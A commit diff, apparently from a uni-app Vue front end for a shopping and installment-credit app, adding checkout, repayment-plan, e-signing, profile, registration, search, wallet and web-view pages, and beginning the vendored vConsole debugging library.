                                    }, 1000)
                                    //三秒之后刷新
                                    setTimeout(() => {
                                        t.getOrderInfo()
                                    }, 3000)
                                },
                                fail(e) {
                                    uni.showToast({
                                        title: '还款失败',
                                        icon: 'error',
                                    })
                                    setTimeout(() => {
                                        t.$refs.popup2.close()
                                    }, 1000)
                                }
                            })
                        }
                        if(payment == 3) {
                            uni.showToast({
                                title: res.msg || '还款成功',
                                icon: 'success',
                            })
                            setTimeout(() => {
                                t.$refs.popup2.close()
                                t.$refs.popup3.close()
                            }, 1000)
                            //三秒之后刷新
                            setTimeout(() => {
                                t.getOrderInfo()
                            }, 3000)
                        }
                    } else {
                        uni.showToast({
                            title: res.msg || '操作失败'
                        })
                    }
                })
            }
        }
    }
</script>
<style>
    @import url(/static/css/order.css);
</style>
pages/pays/pays.vue
New file
@@ -0,0 +1,410 @@
<template>
    <view class="pays">
        <view class="addr" @tap="chooseAddr">
            <image class="addrImg" src="/static/imgs/my-s-4.png" ></image>
            <view class="addrView">
                <template v-if="addrData">
                    <view class="">
                        <text>{{addrData.realname}}</text>
                        <text>{{addrData.phone}}</text>
                    </view>
                    <view class="">{{addrData.area}}{{addrData.addr}}</view>
                </template>
                <template v-else>
                    <view class="" style="margin-top: 20upx;">请选择收货地址</view>
                </template>
            </view>
            <image class="rgt" src="/static/imgs/right.png" ></image>
        </view>
        <view class="goods">
            <view class="goodsMain" v-for="(item, index) in cartsData">
                <image class="goods-icon" :src="item.icon" ></image>
                <view class="goods-info">
                    <view class="goods-title">{{item.title}}</view>
                    <view class=""></view>
                    <view class="goods-price">
                        <view>价格:¥</view>
                        <view class="red">{{item.price}}</view>
                    </view>
                    <view class="goods-price">
                        <view>运费:¥</view>
                        <view class="red">{{item.freight}}</view>
                    </view>
                    <view class="carts-nums">
                        <view class="" @tap="setCartsNums(item, 1)">
                            <image src="/static/imgs/minus.png" ></image>
                        </view>
                        <view class="">
                            <text>{{item.nums}}</text>
                        </view>
                        <view class="" @tap="setCartsNums(item, 2)">
                            <image src="/static/imgs/add.png" ></image>
                        </view>
                    </view>
                </view>
            </view>
        </view>
        <view class="total">
            <view class="">
                <text>加工费:</text>
                <text class="red total-price">{{rateTotal}}</text>
                <text class="cny">元</text>
            </view>
            <view class="">
                <text>合计:</text>
                <text class="red total-price">{{payTotal}}</text>
                <text class="cny">元</text>
            </view>
        </view>
        <view class="payment">
            <view class="p-title">
                <text>付款方式</text>
                <view class="" v-if="payment == 1 && userInfo.edu_auth == 1" @tap="getPayTask">查看还款计划</view>
            </view>
            <view class="pay-li">
                <view class="pay-item" @tap="choosePayment(1)" v-if="Config && Config.edu_open == 1 && isFenqi == 1">
                    <image class="pay-icon" src="/static/imgs/edupay.png" ></image>
                    <text v-if="userInfo">余额支付(可用余额:{{userInfo.const}})</text>
                    <image class="rgt" :src="payment == 1 ? '/static/imgs/checked.png' : '/static/imgs/check.png'" ></image>
                </view>
                <view class="pay-item" @tap="choosePayment(2)">
                    <image class="pay-icon" src="/static/imgs/wxpay.png" ></image>
                    <text>微信支付</text>
                    <image class="rgt" :src="payment == 2 ? '/static/imgs/checked.png' : '/static/imgs/check.png'" ></image>
                </view>
                <view class="pay-item">
                    <image class="pay-icon" src="/static/imgs/bankpay.png" ></image>
                    <view @tap="chooseBank">
                        <text>银行卡支付</text>
                        <text v-if="bankData">({{bankData.bankno}}切换)</text>
                        <text v-else>(请选择银行卡 》》)</text>
                    </view>
                    <image class="rgt" :src="payment == 3 ? '/static/imgs/checked.png' : '/static/imgs/check.png'"  @tap="choosePayment(3)"></image>
                </view>
            </view>
        </view>
        <view class="authBtn-desc" v-if="userInfo && payment == 1 && userInfo.edu_auth == 1">
            <image @tap="agreeFlag = !agreeFlag" class="authBtn-icon" :src="!agreeFlag ? '/static/imgs/check.png' : '/static/imgs/checked.png'" ></image>
            <text>我已阅读并同意</text>
            <text class="blue" @tap="eSignAgree">《赊销购货协议》(点击签署)</text>
        </view>
        <view class="paysBtn" @tap="payOrder">提交订单</view>
        <uni-popup ref="popup" type="bottom">
            <view class="popup-content">
                <view class="pop-title">查看还款计划</view>
                <view class="pop-main">
                    <view class="pop-main-view" v-for="(item, index) in paysData">
                        <view class="pop-nums">
                            第{{index + 1}}期
                        </view>
                        <view class="pop-pay">
                            <view class="">还款日期: {{item.days}}</view>
                            <view class="">还款金额: {{item.pays}}</view>
                        </view>
                    </view>
                </view>
            </view>
        </uni-popup>
    </view>
</template>
<script>
    export default {
        components: {
        },
        data() {
            return {
                Config: null,
                payment: 0,
                cartsIds: '',
                cartsData: [],
                addrData: null,
                payTotal: 0,
                rateTotal: 0,
                userInfo: this.$util.getUserInfo(),
                bankData: null,
                bankId: 0,
                paysData: [],
                agreeFlag: true,
                esignFlag: 0,
                isFenqi: 0,
            }
        },
        onLoad (op) {
            this.getConfig()
            setTimeout(() => {
                this.getUserInfo()
            }, 300)
            this.cartsIds = op.cartsIds ? op.cartsIds : ''
            if(this.cartsIds != '') {
                this.getCartsInfo(this.cartsIds)
            }
            //判断是否有地址
            let addr = uni.getStorageSync('choose-address') ? uni.getStorageSync('choose-address') : null
            if(addr) {
                this.addrData = JSON.parse(uni.getStorageSync('choose-address'))
            } else {
                this.getAddr()
            }
            //判断是否有银行
            let bank = uni.getStorageSync('choose-bank') ? uni.getStorageSync('choose-bank') : null
            if(bank) {
                this.bankData = JSON.parse(uni.getStorageSync('choose-bank'))
            } else {
                this.getBank()
            }
        },
        onShow () {
            //获取签署协议状态
            this.getEsignStatus()
        },
        methods: {
            getEsignStatus () {
                let t = this
                this.$util.post('Sign/getEsign', {cartsIds: this.cartsIds}).then(res => {
                    console.log('res', res)
                    if(res.code == 1){
                        t.esignFlag = 1
                        t.payment = 1
                    }
                })
            },
            eSignAgree () {
                let t = this
                if(!this.addrData){
                    return uni.showToast({
                        title: '请选择收货地址',
                        icon: 'error'
                    })
                }
                console.log('eee', 1111)
                this.$util.post('Sign/eSign', {addrId: this.addrData.id, cartsIds: this.cartsIds}).then(res => {
                    console.log('res111', res)
                    if(res.code == 1){
                        t.$goWebUrl(res.data)
                    } else {
                        uni.showToast({
                            title: res.msg || '操作失败',
                            icon: 'error'
                        })
                    }
                })
            },
            getConfig () {
                this.$util.post('Index/getConfig').then(res => {
                    if(res.code == 1){
                        this.Config = res.data
                    }
                })
            },
            popOpen () {
                this.$refs.popup.open()
            },
            //选择支付方式
            choosePayment (n) {
                this.payment = n
                if(this.payment == 3){
                    if(!this.bankData){
                        this.getBank()
                    }
                }
                if(n == 1) {
                    let burl = '/pages/pays/pays?cartsIds=' + this.cartsIds
                    if(!this.$util.checkGoPages('/pages/login/login', burl, 0)) {
                        return
                    }
                }
            },
            getUserInfo () {
                let t = this
                t.$util.post('User/getUser').then(res => {
                    t.userInfo = res.data
                })
            },
            //获取默认银行
            getBank () {
                this.$util.post('Bank/getDefBank').then(res => {
                    if(res.code == 1) {
                        this.bankData = res.data
                    }
                })
            },
            //跳转到选择银行
            chooseBank (e) {
                let url = '/pages/bank/bank?backUrl=/pages/pays/pays?cartsIds=' + this.cartsIds
                this.$util.goPages(url)
            },
            //跳转到选择地址
            chooseAddr () {
                let url = '/pages/address/address?backUrl=/pages/pays/pays?cartsIds=' + this.cartsIds
                this.$util.goPages(url)
            },
            //获取默认地址和银行
            getAddr() {
                this.$util.post('Address/getDefAddr').then(res => {
                    if(res.code == 1) {
                        this.addrData = res.data
                    }
                })
            },
            getCartsInfo (cartsIds) {
                this.$util.post('Carts/getCartsInfo', {cartsIds: cartsIds}).then(res => {
                    if(res.code == 1) {
                        this.cartsData = res.data.cartsList
                        this.payTotal = res.data.total
                        this.rateTotal = res.data.rate
                        this.isFenqi = res.data.isFenqi
                    }
                })
            },
            //设置购物车数量
            setCartsNums (e, y){
                let n = e.nums
                let    t = this
                if(y == 1){
                    if(n == 1) {
                        return
                    } else {
                        n = n > 1 ? n - 1 : 1
                    }
                } else {
                    n = n + 1
                }
                t.$util.post('Carts/setCartsNums', {id: e.id, nums: n}).then(res => {
                    if(res.code == 1) {
                        e.nums = n
                        t.payTotal = res.data.total
                        t.rateTotal = res.data.rate
                    } else {
                        uni.showToast({
                            title: res.msg || '操作失败',
                            icon: 'error'
                        })
                    }
                })
            },
            payOrder () {
                if(this.payment == 1 || this.payment == 3) {
                    let burl = '/pages/pays/pays?cartsIds=' + this.cartsIds
                    if(!this.$util.checkGoPages('/pages/login/login', burl, 0)) {
                        return
                    }
                }
                let t = this
                if(!this.addrData){
                    return uni.showToast({
                        title: '请选择收货地址',
                        icon: 'error'
                    })
                }
                if(this.payment == 0){
                    return uni.showToast({
                        title: '请选择支付方式',
                        icon: 'error'
                    })
                }
                if(this.payment == 1){
                    if(this.userInfo.const < this.payTotal) {
                        return uni.showToast({
                            title: '您的额度不足',
                            icon: 'error'
                        })
                    }
                    this.getEsignStatus()
                    if(this.esignFlag == 0 && this.Config.esign_open == 1) {
                        return uni.showToast({
                            title: '请签署购货协议',
                            icon: 'error'
                        })
                    }
                }
                let param = {}
                param = {
                    cartsIds: t.cartsIds,
                    bankId: t.bankData ? t.bankData.id : 0,
                    addrId: t.addrData.id,
                    payment: t.payment
                }
                t.$util.post('Order/createOrder', param).then(res => {
                    console.log(res)
                    if(res.code == 1) {
                        if(t.payment == 1) {
                            uni.showToast({
                                title: res.msg || '操作成功',
                                icon: 'success'
                            })
                            //更新用户缓存
                            uni.setStorageSync('user-info', JSON.stringify(res.data))
                            setTimeout(() => {
                                t.$util.goPages('/pages/order/order')
                            }, 1500)
                        } else if(t.payment == 2) {
                            uni.requestPayment({
                                "provider": "wxpay",
                                "orderInfo": res.data,
                                success(rs) {
                                    uni.showToast({
                                        title: '支付成功',
                                        icon: 'success',
                                    })
                                    setTimeout(() => {
                                        t.$util.goPages('/pages/order/order')
                                    }, 1000)
                                },
                                fail(e) {
                                    uni.showToast({
                                        title: '支付失败',
                                        icon: 'success',
                                    })
                                    setTimeout(() => {
                                        t.$util.goPages('/pages/order/order')
                                    }, 1000)
                                }
                            })
                        } else if(t.payment == 3) {
                            uni.showToast({
                                title: res.msg || '操作成功',
                                icon: 'success'
                            })
                            setTimeout(() => {
                                t.$util.goPages('/pages/order/order')
                            }, 1500)
                        }
                    } else {
                        uni.showToast({
                            title: res.msg || '操作失败',
                            icon: 'error'
                        })
                    }
                })
            },
            //获取还款计划
            getPayTask () {
                let t = this
                t.$util.post('Goods/getPlan', {cartsIds: t.cartsIds}).then(res => {
                    if(res.code == 1) {
                        t.paysData = res.data
                        t.popOpen()
                    } else {
                        uni.showToast({
                            title: res.msg || '操作失败',
                            icon: 'error'
                        })
                    }
                })
            }
        }
    }
</script>
<style>
    @import url(/static/css/pays.css);
</style>
pages/profile/profile.vue
New file
@@ -0,0 +1,223 @@
<template>
    <view>
        <yk-authpup ref="authpup" type="top" @changeAuth="changeAuth" noticeTitle="便于您使用该功能上传您的照片用于核实身份场景中读取相册内容" permissionID="WRITE_EXTERNAL_STORAGE"></yk-authpup>
        <yk-authpup ref="camears" type="top" @changeAuth="changeAuth2" noticeTitle="便于您使用该功能便于您拍摄上传用于核实身份场景" permissionID="CAMERA"></yk-authpup>
        <view class="profile">
            <view class="profile-item">
                <text class="label">头像(点击更换)</text>
                <view class="" @tap="setImg">
                    <image :src="$baseUrl + userInfo.avatar" ></image>
                </view>
            </view>
            <view class="profile-item">
                <text class="label">姓名</text>
                <view class="">
                    <input type="text" disabled v-model="userInfo.realname" placeholder="请输入姓名" />
                </view>
            </view>
            <view class="profile-item">
                <text class="label">手机号</text>
                <view class="">
                    <input type="text" disabled v-model="userInfo.phone" placeholder="请输入手机号" />
                </view>
            </view>
            <view class="profile-item">
                <text class="label">身份证</text>
                <view class="">
                    <input type="text" disabled v-model="userInfo.idcard" placeholder="请输入身份证" />
                </view>
            </view>
            <view class="profile-item">
                <text class="label">总余额</text>
                <view class="">
                    <input type="text" disabled v-model="userInfo.edu" placeholder="请输入可用额度" />
                </view>
            </view>
            <view class="profile-item">
                <text class="label">可用余额</text>
                <view class="">
                    <input type="text" disabled v-model="userInfo.const" placeholder="请输入已用额度" />
                </view>
            </view>
            <view class="profile-item" v-if="Config.put_open == 2">
                <text class="label">支付权益</text>
                <view class="">
                    <switch @change="equityOpen" v-if="userInfo.equity_open == 1" checked color="#e3b400" style="transform:scale(0.7)"/>
                    <switch @change="equityOpen" v-else color="#e3b400" style="transform:scale(0.7)"/>
                </view>
            </view>
        </view>
        <view class="logout" @tap="logOut">退出登录</view>
        <view class="logout red" @tap="logOff">注销账号</view>
        <view class="Copyright">
            <view class="">
                <text @tap="agreeDialog1">《用户协议》</text>
                <text>|</text>
                <text @tap="agreeDialog2">《隐私政策》</text>
            </view>
            <view class="" @tap="goWebUrl('http://beian.miit.gov.cn')">APP备案号:{{Config.icp}}</view>
            <view class="" @tap="goWebUrl('http://beian.miit.gov.cn')">Copyright © {{Config.url}} All Rights Reserved.</view>
        </view>
        <agreePup ref="agreePup1" :gp="1" title="注册协议"></agreePup>
        <agreePup ref="agreePup2" :gp="2" title="隐私政策"></agreePup>
    </view>
</template>
<script>
    import ykAuthpup from "@/components/yk-authpup/yk-authpup";
    import agreePup from "@/components/agreePup/agreePup";
    export default {
        components: {
            ykAuthpup,
            agreePup,
        },
        data() {
            return {
                userInfo: uni.getStorageSync('user-info') ? JSON.parse(uni.getStorageSync('user-info')) : null,
                Config: uni.getStorageSync('Config') ? JSON.parse(uni.getStorageSync('Config')) : null
            }
        },
        onLoad() {
            this.getConfig()
            this.getUserInfo()
        },
        methods: {
            goWebUrl (url) {
                // #ifdef APP-PLUS
                plus.runtime.openURL(url)
                // #endif
            },
            agreeDialog1 (e) {
                this.$refs.agreePup1.dialog = !this.$refs.agreePup1.dialog
            },
            agreeDialog2 (e) {
                this.$refs.agreePup2.dialog = !this.$refs.agreePup2.dialog
            },
            getConfig () {
                let t = this
                t.$util.post('Index/getConfig').then(res => {
                    t.Config = res.data
                })
            },
            getUserInfo () {
                let t = this
                t.$util.post('User/getUser').then(res => {
                    t.userInfo = res.data
                    let phone = res.data.phone.substring(0, 3) + '****' + res.data.phone.substring(7)
                    let idcard = res.data.idcard.substring(0, 6) + '****' + res.data.idcard.substring(14)
                    t.userInfo.phone = phone
                    t.userInfo.idcard = idcard
                })
            },
            logOut () {
                uni.setStorageSync('lzsc-token', null)
                uni.setStorageSync('user-info', null)
                uni.setStorageSync('choose-address',null)
                uni.setStorageSync('choose-bank',null)
                uni.showToast({
                    title: '退出成功',
                    icon: 'success'
                })
                setTimeout(() => {
                    uni.navigateTo({
                        url: '/pages/login/login'
                    })
                }, 1500)
            },
            logOff () {
                let t = this
                uni.showModal({
                    title: '温馨提示',
                    content: '注销账号后该账号将无法再次注册,是否确认?',
                    success: function (res) {
                        if (res.confirm) {
                            t.$util.post('User/logOff').then(res => {
                                if(res.code == 1) {
                                    uni.showToast({
                                        title: res.msg || ''
                                    })
                                    setTimeout(() => {
                                        uni.setStorageSync('lzsc-token', null)
                                        uni.setStorageSync('user-info', null)
                                        uni.navigateTo({
                                            url: '/pages/login/login'
                                        })
                                    }, 1500)
                                } else {
                                    uni.showToast({
                                        title: res.msg || ''
                                    })
                                }
                            })
                        }
                    }
                })
            },
            equityOpen () {
                let t = this
                t.$util.post('User/setEquity').then(res => {
                    if(res.code == 1){
                        //更新用户信息缓存
                        uni.setStorageSync('user-info', JSON.stringify(res.data))
                        uni.showToast({
                            title: res.msg || '操作成功',
                            icon: 'success'
                        })
                    }
                })
            },
            changeAuth () {
                //这里是权限通过后执行自己的代码逻辑
                if(uni.getSystemInfoSync().platform !='ios'){
                    this.$refs['camears'].open()
                }
                this.chooseImg()
            },
            changeAuth2(){
                this.chooseImg()
            },
            setImg(){
                if(uni.getSystemInfoSync().platform != 'ios'){
                    this.$refs['authpup'].open()
                }else{
                    this.chooseImg()
                }//调起自定义权限目的弹框,具体可看示例里面很详细
            },
            chooseImg () {
                let t = this
                uni.chooseImage({
                    count: 1, // 默认9
                    sizeType: ['original', 'compressed'],
                    success: (chooseImageRes) => {
                        let tempFilePaths = chooseImageRes.tempFilePaths
                        let token = uni.getStorageSync('lzsc-token')
                        let header = {
                            'Accept': 'application/json',
                            'authorization': token,
                        }
                        uni.showLoading({
                            title: '上传中..',
                        })
                        uni.uploadFile({
                            url: t.$baseUrl + '/api/user/setAvatar',
                            filePath: tempFilePaths[0],
                            header: header,
                            name: 'file',
                            success: (uploadFileRes) => {
                                uni.hideLoading()
                                let res = JSON.parse(uploadFileRes.data)
                                res = JSON.parse(t.$util.decryptDes(res.data))
                                t.userInfo.avatar = res.avatar
                                uni.setStorageSync('user-info', JSON.stringify(res))
                            }
                        })
                    }
                })
            },
        }
    }
</script>
<style>
    @import url(/static/css/profile.css);
</style>
pages/quanyi/components/addAddress/index.vue
@@ -130,7 +130,7 @@
              });
              return;
            }
      const params = uni.getStorageSync('ygxLogin')
      const params = uni.getStorageSync('qxgLogin')
      uni.request({
        url: _this.$webHost + "/api/v2/customer/appAddCstAddress",
        method: "POST",
pages/quanyi/index.vue
@@ -8,8 +8,8 @@
    await uni.request({
      url: _this.$webHost+'/api/v2/auth/qxgIosUnionLogin?phone='+_this.$util.getUserInfo().phone,
      success: function (res) {
        _this.ygxLogin = res.data.data;
        uni.setStorageSync('ygxLogin',_this.ygxLogin)
        _this.qxgLogin = res.data.data;
        uni.setStorageSync('qxgLogin',_this.qxgLogin)
        uni.request({
          url: _this.$webHost+'/api/v2/buryingPoint/record',
          method:'PUT',
@@ -52,7 +52,7 @@
  data() {
    return  {
      ygxLogin:{},
      qxgLogin:{},
      protocolChecked: [0],
      isAgree: false,
      tm: null,
@@ -290,7 +290,7 @@
}
.back{
  background-image: url("/static/img/ba.png");
  background-image: url("/static/imgs/ba.png");
  background-repeat: no-repeat;
  background-size: 100% 100%;
  padding: 22rpx 30rpx;
pages/regist/regist.vue
New file
@@ -0,0 +1,170 @@
<template>
    <view>
        <view class="login-title">
            <view class="login-title-1">手机号注册</view>
        </view>
        <view class="login-list">
            <view class="login-item">
                <input type="tel" v-model="formData.phone" placeholder="请输入手机号" />
            </view>
            <view class="login-item">
                <input type="password" v-model="formData.pass" placeholder="请输入登录密码" />
            </view>
            <view class="login-item">
                <input type="password" v-model="formData.tpass" placeholder="请确认登录密码" />
            </view>
            <view class="login-item">
                <input type="number" v-model="formData.code" maxlength="4" placeholder="请输入验证码" />
                <text class="code2" v-if="leftTime < 60">{{leftTime}}S后获取</text>
                <text class="code" @click="sendCode" v-else>获取验证码</text>
            </view>
        </view>
        <view class="loginBtn">
            <view class="loginBtn-desc">
                <image @click="agreeClick" class="loginBtn-icon" :src="!loginAct ? '/static/imgs/check.png' : '/static/imgs/checked.png'" ></image>
                <text>我已阅读并同意</text>
                <text class="blue" @tap="agreeDialog1">《注册协议》</text>
                <text class="blue" @tap="agreeDialog2">《隐私政策》</text>
            </view>
            <view :class="loginAct ? 'login-btn active' : 'login-btn'" @click="registUser">立即注册</view>
            <view class="loginDesc">
                <view class="fc" @tap="$util.goPages('/pages/login/login')">已有账号,立即登录</view>
            </view>
        </view>
        <agreePup ref="agreePup1" :gp="1" title="注册协议"></agreePup>
        <agreePup ref="agreePup2" :gp="2" title="隐私政策"></agreePup>
    </view>
</template>
<script>
    import agreePup from "@/components/agreePup/agreePup";
    export default {
        data() {
            return {
                loginType: 1,
                loginAct: false,
                formData: {
                    phone: '',
                    pass: '',
                    tpass: '',
                    code: '',
                },
                phoneReg: /^\d{11}$/,
                leftTime: 60,
            }
        },
        onLoad(op) {
            this.backUrl = op.backUrl ? op.backUrl : ''
        },
        methods: {
            agreeDialog1 (e) {
                this.$refs.agreePup1.dialog = !this.$refs.agreePup1.dialog
            },
            agreeDialog2 (e) {
                this.$refs.agreePup2.dialog = !this.$refs.agreePup2.dialog
            },
            loginTypeClick (e) {
                this.loginType = e
            },
            agreeClick () {
                this.loginAct = !this.loginAct
            },
            registUser () {
                let t = this
                if(!t.loginAct) {
                    return uni.showToast({
                        title: '请阅读并同意协议政策',
                        icon: 'error'
                    })
                }
                if(t.formData.phone == '' || !t.phoneReg.test(t.formData.phone)){
                    return uni.showToast({
                        title: '手机号错误!',
                        icon: 'error',
                    })
                }
                if(t.formData.pass == ''){
                    return uni.showToast({
                        title: '请输入密码!',
                        icon: 'error',
                    })
                }
                if(t.formData.tpass == ''){
                    return uni.showToast({
                        title: '请输入确认密码!',
                        icon: 'error',
                    })
                }
                if(t.formData.tpass != t.formData.pass){
                    return uni.showToast({
                        title: '密码不一致!',
                        icon: 'error',
                    })
                }
                if(t.formData.code == ''){
                    return uni.showToast({
                        title: '请输入验证码!',
                        icon: 'error',
                    })
                }
                t.$util.post('User/register', this.formData).then(res => {
                    if(res.code == 1) {
                        uni.setStorageSync('user-token', res.data.userToken)
                        uni.setStorageSync('user-info', JSON.stringify(res.data))
                        uni.showToast({
                            title: res.msg || '注册成功'
                        })
                        setTimeout(() => {
                            t.$util.goSwitch('/pages/index/index')
                        }, 1500)
                    } else {
                        uni.showToast({
                            title: res.msg || '注册失败',
                            icon: 'error'
                        })
                    }
                })
            },
            sendCode () {
                let t = this
                if(this.formData.phone == '' || !this.phoneReg.test(t.formData.phone)){
                    return uni.showToast({
                        title: '手机号错误!',
                        icon: 'error',
                    })
                }
                if (this.leftTime < 60) {
                    return false
                }
                this.$util.post('Sms/sendVerificationCode', {phone: this.formData.phone}).then(res => {
                    if(res.code == 1){
                        console.log(res)
                        t.countDown()
                        uni.showToast({
                            title:'发送成功',
                            icon:'none'
                        })
                    } else {
                        uni.showToast({
                            title: res.msg,
                            icon: 'none',
                        })
                    }
                })
            },
            countDown() {
                this.leftTime--
                if (this.leftTime > 0) {
                    setTimeout(this.countDown, 1000)
                } else {
                    this.leftTime = 60
                }
            },
        }
    }
</script>
<style>
    @import url(/static/css/login.css);
</style>
pages/search/search.vue
New file
@@ -0,0 +1,79 @@
<template>
    <view>
        <view class="search">
            <view class="searchView">
                <span class="back" @tap="$util.goSwitch('/pages/index/index')">返回</span>
                <image src="/static/imgs/search.png" ></image>
                <input type="text" v-model="keyword" placeholder="搜索您想要的商品" @confirm="searchGoods" />
                <view class="searchBtn" @tap="searchGoods">搜索</view>
            </view>
        </view>
        <view class="searchKey" v-if="goodsData.length == 0">
            <view class="">
                <view class="title">搜索历史</view>
                <view class="item" v-if="keywordData.length > 0">
                    <view class="" v-for="(item, index) in keywordData" v-if="index <= 19" @tap="keywordSearch(item)">{{item}}</view>
                </view>
                <view class="noData" v-else>
                    <image src="/static/imgs/noData.png"  style="margin-top: 200upx;"></image>
                    <view class="">没有搜索记录</view>
                </view>
            </view>
        </view>
        <view class="goodsData" v-else>
            <view class="goods-list">
                <view class="goods-item" v-for="(itm, idx) in goodsData" @click="$util.goPages('/pages/ginfo/ginfo?id=' + itm.id)">
                    <image lazy-load class="goods-icon" :src="itm.icon" mode="widthFix"></image>
                    <view class="goods-title">{{itm.title}}</view>
                    <view class="goods-price">
                        <view>¥</view>
                        <view class="red">{{itm.price}}</view>
                    </view>
                </view>
            </view>
        </view>
    </view>
</template>
<script>
    export default {
        data() {
            return {
                keyword: '',
                catesId: 0,
                pageIndex: 1,
                pageSize: 200,
                goodsData: [],
                keywordData: uni.getStorageSync('keyword') ? JSON.parse(uni.getStorageSync('keyword')) : [],
            }
        },
        onLoad() {
        },
        methods: {
            keywordSearch (e){
                this.keyword = e
                this.searchGoods()
            },
            //获取分类商品
            searchGoods(){
                if(this.keyword != ''){
                    if(this.keywordData.indexOf(this.keyword) < 0){
                        this.keywordData.unshift(this.keyword)
                        uni.setStorageSync('keyword', JSON.stringify(this.keywordData))
                    }
                    this.$util.post('Goods/getCatesGoods', {keyword: this.keyword, pageIndex: this.pageIndex, pageSize: this.pageSize}).then(res => {
                        if(res.code == 1) {
                            this.goodsData = res.data.list
                        }
                    })
                } else {
                    this.goodsData = []
                }
            }
        }
    }
</script>
<style>
    @import url(/static/css/search.css);
</style>
pages/wallet/wallet.vue
New file
@@ -0,0 +1,71 @@
<template>
    <view class="wallet">
        <view class="startBar" style="background-color: #e3b400;"></view>
        <view class="wallet-header">
            <view class="wallet-header-edu" v-if="userInfo == null">
                <view class="wallet-header-price">预估额度<text v-if="Config">{{Config.edu}}</text></view>
                <view class="" v-if="Config && Config.put_open == 2">年利率(单利)18.00%,1000元用一天需0.50元</view>
            </view>
            <view class="wallet-header-edu" v-else>
                <view class="wallet-header-price">可用额度<text>{{userInfo.const}}</text></view>
                <view class="" v-if="Config && Config.put_open == 2">年利率(单利)18.00%,1000元用一天需0.50元</view>
            </view>
            <view class="wallet-header-apply" @tap="$util.checkGoPages('../cates/cates')">立即使用</view>
        </view>
        <view class="wallet-goods">
            <view class="wallet-goods-title">热门商品</view>
            <view class="goods-list">
                <view class="goods-item" v-for="(itm, idx) in goodsData" @click="$util.goPages('/pages/ginfo/ginfo?id=' + itm.id)">
                    <image lazy-load class="goods-icon" :src="itm.icon" ></image>
                    <view class="goods-title">{{itm.title}}</view>
                    <view class="goods-price">
                        <view>¥</view>
                        <view class="red">{{itm.price}}</view>
                    </view>
                </view>
            </view>
        </view>
    </view>
</template>
<script>
    export default {
        data() {
            return {
                goodsData: [],
                userInfo: null,
                Config: null,
            }
        },
        onShow() {
            this.getUserInfo()
            this.getData()
            this.getConfig()
        },
        methods: {
            getUserInfo () {
                let t = this
                t.$util.post('User/getUser').then(res => {
                    if(res.code == 1){
                        this.userInfo = res.data
                    }
                })
            },
            getConfig () {
                let t = this
                t.$util.post('Index/getConfig').then(res => {
                    t.Config = res.data
                })
            },
            getData () {
                this.$util.post('Goods/getWalletGoods').then(res => {
                    this.goodsData = res.data
                })
            },
        }
    }
</script>
<style>
    @import url(@/static/css/wallet.css);
</style>
pages/web/index.vue
New file
@@ -0,0 +1,35 @@
<template>
  <web-view class="web-view" :webview-styles="webviewStyles" :src="url" :style="{width: windowW + 'px', height: windowH + 'px'}"></web-view>
</template>
<script>
export default {
  data() {
    return {
      windowH: 0,
      windowW: 0,
      webviewStyles: {
        progress: {
          color: 'transparent'
        }
      },
      url: ''
    }
  },
  onLoad(option) {
    if(option.webUel) this.url = decodeURIComponent(option.webUel);
    // 蚂蚁智能客服场景参数
    if(option.scene) this.url += `&scene=${option.scene}`;
    uni.setNavigationBarTitle({
      title: option.title
    })
    try {
      const res = uni.getSystemInfoSync();
      this.windowW = res.windowWidth;
      this.windowH = res.windowHeight;
    } catch (e) {
      // error
    }
  }
}
</script>
static/imgs/ba.png
static/js/vconsole.min.js
New file
@@ -0,0 +1,10 @@
/*!
 * vConsole v3.3.4 (https://github.com/Tencent/vConsole)
 *
 * Tencent is pleased to support the open source community by making vConsole available.
 * Copyright (C) 2017 THL A29 Limited, a Tencent company. All rights reserved.
 * Licensed under the MIT License (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
 * http://opensource.org/licenses/MIT
 * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.
 */
!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("VConsole",[],t):"object"==typeof exports?exports.VConsole=t():e.VConsole=t()}(window,function(){return function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=6)}([function(e,t,o){var n,r,i;r=[t],void 0===(i="function"==typeof(n=function(e){"use strict";function t(e){return(t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function o(e){return"[object Number]"==Object.prototype.toString.call(e)}function n(e){return"[object String]"==Object.prototype.toString.call(e)}function r(e){return"[object Array]"==Object.prototype.toString.call(e)}function i(e){return"[object Boolean]"==Object.prototype.toString.call(e)}function a(e){return void 0===e}function l(e){return null===e}function c(e){return"[object Symbol]"==Object.prototype.toString.call(e)}function s(e){return!("[object Object]"!=Object.prototype.toString.call(e)&&(o(e)||n(e)||i(e)||r(e)||l(e)||d(e)||a(e)||c(e)))}function d(e){return"[object Function]"==Object.prototype.toString.call(e)}function u(e){var t=Object.prototype.toString.call(e);return"[object global]"==t||"[object Window]"==t||"[object DOMWindow]"==t}function v(e){if(!s(e)&&!r(e))return[];if(r(e)){var t=[];return e.forEach(function(e,o){t.push(o)}),t}return Object.getOwnPropertyNames(e).sort()}Object.defineProperty(e,"__esModule",{value:!0}),e.getDate=function(e){var t=e>0?new Date(e):new 